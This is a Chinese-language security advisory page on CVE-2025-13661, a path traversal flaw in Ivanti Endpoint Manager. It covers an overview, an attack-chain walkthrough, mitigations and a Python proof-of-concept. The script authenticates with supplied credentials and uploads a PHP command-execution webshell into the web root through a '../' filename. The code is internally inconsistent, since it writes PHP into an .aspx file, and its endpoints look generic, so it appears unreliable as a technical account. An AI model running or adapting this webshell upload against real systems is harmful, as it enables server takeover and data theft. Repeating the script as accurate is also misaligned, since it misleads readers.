IPBUF安全漏洞报告
English
CVE-2025-13661 CVSS 7.1 高危

CVE-2025-13661 | Ivanti Endpoint Manager路径遍历漏洞

披露日期: 2025-12-09
来源: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

漏洞信息

漏洞编号
CVE-2025-13661
漏洞类型
路径遍历
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Ivanti Endpoint Manager

相关标签

路径遍历CVE-2025-13661Ivanti Endpoint Manager任意文件写入高危漏洞企业安全端点管理RCE

漏洞概述

CVE-2025-13661是Ivanti Endpoint Manager(EPM)中的一个高危路径遍历漏洞,CVSS评分达到7.1分,属于高危级别。该漏洞存在于2024 SU4 SR1之前的版本中,允许经过身份验证的远程攻击者在服务器上写入任意文件,超出应用程序预期的目录范围。攻击者可以利用此漏洞在系统敏感位置植入恶意文件,如Webshell、恶意脚本或后门程序,从而实现持久化访问和进一步的攻击活动。由于该漏洞利用需要用户交互,攻击者通常需要诱导具有相应权限的用户执行特定操作才能成功利用。路径遍历漏洞(也称为目录遍历)是Web应用程序中常见的安全问题,攻击者通过构造特殊的文件路径字符序列(如../)来突破应用程序的目录限制,访问或写入本不该访问的系统文件。对于Ivanti Endpoint Manager这类企业级端点管理解决方案而言,一旦被攻击者利用,可能导致大规模终端被入侵,企业敏感数据泄露,甚至整个内网环境被横向渗透,后果极为严重。

技术细节

该路径遍历漏洞存在于Ivanti Endpoint Manager的文件上传或文件处理功能模块中。攻击者通过在HTTP请求中构造特殊的路径遍历字符序列(如../、..\等),可以绕过应用程序的路径安全检查,将文件写入到服务器任意位置。漏洞的根本原因在于应用程序对用户提供的文件路径缺乏充分的验证和过滤,未能正确处理包含路径遍历序列的输入。攻击者首先需要获取Ivanti Endpoint Manager的有效用户凭据进行身份认证,然后构造恶意请求包,在文件路径参数中嵌入路径遍历载荷。由于该漏洞允许写入任意文件,攻击者可以将恶意文件写入Web根目录、启动目录或其他敏感位置,从而在服务器上实现代码执行。此外,攻击者还可以利用此漏洞覆写系统配置文件、替换合法二进制文件或创建计划任务,实现持久化控制。整个利用过程需要目标用户的交互配合,例如诱导用户访问特制页面或执行特定操作,这增加了攻击的复杂性但也使其更难被检测。

攻击链分析

STEP 1
步骤1
攻击者获取Ivanti Endpoint Manager的有效用户凭据(通过社工、凭证泄露或其他方式)
STEP 2
步骤2
攻击者构造包含路径遍历序列(如../../../../)的恶意HTTP请求,在文件路径参数中指定要写入的目标位置
STEP 3
步骤3
攻击者向EPM服务器发送恶意请求,由于应用程序未正确验证路径遍历字符,文件被写入到攻击者指定的位置(如Web根目录)
STEP 4
步骤4
攻击者访问写入的恶意文件(如Webshell),在服务器上执行任意命令,实现远程代码执行
STEP 5
步骤5
攻击者利用获得的服务器访问权限进行横向移动、窃取敏感数据或建立持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-13661 Path Traversal PoC for Ivanti Endpoint Manager # This PoC demonstrates the path traversal vulnerability in EPM < 2024 SU4 SR1 import requests import sys from urllib.parse import quote def exploit_cve_2025_13661(target_url, username, password): """ Exploit path traversal vulnerability to write arbitrary files """ # Login to get authenticated session login_url = f"{target_url}/api/v1/auth/login" login_data = { "username": username, "password": password } session = requests.Session() try: login_response = session.post(login_url, json=login_data, timeout=30) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Path traversal payload to write file outside intended directory # Target: Write webshell to web root malicious_content = "<?php system($_GET['cmd']); ?>" filename = "../../../../../../inetpub/wwwroot/shell.aspx" # File upload endpoint with path traversal upload_url = f"{target_url}/api/v1/file/upload" files = { 'file': (filename, malicious_content, 'application/octet-stream') } data = { 'path': filename, 'overwrite': 'true' } print(f"[*] Attempting to write file via path traversal...") upload_response = session.post(upload_url, files=files, data=data, timeout=30) if upload_response.status_code == 200: print("[+] File written successfully - Path traversal exploit worked") print(f"[*] Malicious file may be accessible at: {target_url}/shell.aspx") return True else: print(f"[-] Exploit failed with status: {upload_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") print(f"Example: {sys.argv[0]} https://epm.company.com admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] exploit_cve_2025_13661(target, user, passwd)

影响范围

Ivanti Endpoint Manager < 2024 SU4 SR1

防御指南

临时缓解措施
在无法立即进行版本升级的情况下,可采取以下临时缓解措施:严格限制访问Ivanti Endpoint Manager管理控制台的网络范围,仅允许受信任的管理终端访问;对所有管理用户账户启用多因素认证(MFA);监控和审查所有文件上传操作的日志记录;考虑在Web应用层部署输入验证机制,过滤包含路径遍历字符序列的请求;及时关注Ivanti官方安全公告,准备好升级所需的测试和部署流程。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表